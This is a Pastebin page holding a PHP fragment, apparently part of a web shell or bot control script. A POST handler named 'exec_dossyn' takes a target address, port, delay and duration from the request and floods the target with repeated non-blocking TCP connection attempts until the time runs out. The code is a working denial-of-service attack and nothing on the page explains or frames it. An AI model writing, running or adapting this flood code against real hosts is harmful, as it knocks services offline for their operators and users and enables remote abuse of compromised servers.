Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- elseif (isset($_POST["exec_dossyn"])) {
- set_time_limit(0);
- if (!chkfunc("socket_create")) exit("Cannot create socket");
- $target = $_POST["text"];
- $port = intval($_POST["text_port"]);
- $dly = intval($_POST["text_dly"]) * 10;
- $dur = intval($_POST["text_dur"]);
- if ($port == 0) exit("Port cannot be 0");
- if ($dur == 0) exit("Durration cannot be 0");
- $indos = true;
- $start = microtime_flt();
- $socks = array();
- $numsocks = 0;
- echo "Starting DoS\n";
- while ($indos) {
- $numsocks++;
- $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if (!$socks[$numsocks]) continue;
- @socket_set_nonblock($socks[$numsocks]);
- for ($j = 0; $j < 20; $j++)
- @socket_connect($socks[$numsocks], $target, $port);
- $chktime = round(microtime_flt() - $start);
- if ($chktime >= $dur) $indos = false;
- usleep($dly);
- }
- echo "DoS complete\n";
- sleep(1);
- echo "Closing sockets...\n";
- for ($j = 0; $j < $numsocks; $j++) { if ($socks[$j]) @socket_close($socks[$j]); }
- echo "Complete";
- exit();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement